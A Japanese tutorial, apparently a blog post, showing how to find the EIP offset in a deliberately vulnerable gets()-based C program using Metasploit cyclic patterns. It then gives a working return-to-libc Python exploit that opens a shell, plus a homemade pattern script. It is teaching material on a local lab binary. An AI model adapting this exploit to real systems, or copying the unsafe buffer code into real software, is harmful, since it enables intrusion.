Metasploit patternによるEIPまでのオフセット計算
スタックバッファオーバーフロー脆弱性が存在する状況において、送り込む文字列と実際に書き変わったEIPを比べることで、EIPまでのオフセットを計算することができる。 ここでは、Metasploit pattern(あるいはcyclic pattern)と呼ばれる文字列を使ったオフセット計算をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
Metasploit Frameworkをインストールする
ここでは、Metasploit patternの生成にMetasploit付属のスクリプトを使うことにする。 ドキュメントを参考に、GithubリポジトリからMetasploitをインストールする。
$ sudo apt-get -y install \ build-essential zlib1g zlib1g-dev \ libxml2 libxml2-dev libxslt-dev locate \ libreadline6-dev libcurl4-openssl-dev git-core \ libssl-dev libyaml-dev openssl autoconf libtool \ ncurses-dev bison curl wget postgresql \ postgresql-contrib libpq-dev \ libapr1 libaprutil1 libsvn1 \ libpcap-dev $ sudo apt-get install libsqlite3-dev # ドキュメントから抜けている $ sudo apt-get install ruby1.9.3 # rvmを使う代わりに直接インストール $ cd /opt $ sudo git clone https://github.com/rapid7/metasploit-framework.git $ cd metasploit-framework $ sudo gem install bundler --no-ri --no-rdoc $ bundle install
脆弱性のあるプログラムを書いてみる
スタックバッファオーバーフロー脆弱性のあるプログラムを用意する。
/* bof.c */
#include <stdio.h>
int main()
{
char buf[100];
setlinebuf(stdout);
gets(buf);
puts(buf);
return 0;
}
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector bof.c
gdbで起動し、スタックバッファオーバーフローを起こしてみる。
$ python -c 'print "A"*200' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/user/tmp/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) quit
スタックバッファオーバーフローによりEIPが 0x41414141 (AAAA) に書き変わった結果、セグメンテーション違反で落ちていることがわかる。
EIPまでのオフセットを計算してみる
pattern_create.rbを使うと、次のような文字列を生成することができる。
$ /opt/metasploit-framework/tools/pattern_create.rb 200 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
gdbを使い、この文字列を送り込んでみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/user/tmp/a.out Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag Program received signal SIGSEGV, Segmentation fault. 0x64413764 in ?? () (gdb) quit
EIPが0x64413764に書き変わっていることがわかる。 この4バイト (0x64413764 = "\x64\x37\x41\x64" = "d7Ad") が送り込んだ文字列の何バイト目にあるかを調べることで、EIPまでのオフセットがわかる。 この計算には、同じディレクトリにあるpattern_offset.rbが使える。
$ /opt/metasploit-framework/tools/pattern_offset.rb 0x64413764 [*] Exact match at offset 112
上の結果から、112バイト目からの4バイトがEIPになっていることがわかる。
エクスプロイトコードを書いてみる
得られたオフセットを使い、Return-to-libcでシェルを起動するエクスプロイトコードを書くと次のようになる。
# exploit.py
import sys
import struct
from subprocess import Popen, PIPE
base_libc = int(sys.argv[1], 16)
offset = 112
addr_libc_system = base_libc + 0x0003f430 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system"
addr_libc_exit = base_libc + 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit"
addr_libc_binsh = base_libc + 0x161d98 # strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep "/bin/sh"
buf = 'A' * offset
buf += struct.pack('<I', addr_libc_system)
buf += struct.pack('<I', addr_libc_exit)
buf += struct.pack('<I', addr_libc_binsh)
buf += struct.pack('<I', 0)
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.stdin.write('exec <&2 >&2\n')
p.wait()
このコードは、libcのベースアドレスを引数に取る。
gdbなどでlibcのベースアドレスを調べ、エクスプロイトコードを実行すると次のようになる。
$ python exploit.py 0xb7e29000 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0\x84\xe6\xb7\xb0\xbf\xe5\xb7\x98\xad\xf8\xb7\n' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
EIPが書き変わり、シェルが起動できていることが確認できた。
Pythonスクリプトによる簡易版
Metasploitを使わずに、パターン生成とオフセット計算を行うPythonスクリプトを書くと次のようになる。
# msfpattern.py
import sys
import struct
def generate():
for x in xrange(0x41, 0x5b):
for y in xrange(0x61, 0x7b):
for z in xrange(0x30, 0x3a):
yield "%c%c%c" % (x, y, z)
cmd = sys.argv[1]
if cmd == 'create':
size = int(sys.argv[2])
s = ''
for x in generate():
s += x
if len(s) >= size:
print s[:size]
break
else:
raise Exception("size too large")
elif cmd == 'offset':
value = int(sys.argv[2], 16)
chunk = struct.pack('<I', value)
s = ''
for x in generate():
s += x
if chunk in s:
print s.index(chunk)
break
else:
raise Exception("not found")
$ python msfpattern.py create 200 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag $ python msfpattern.py offset 0x64413764 112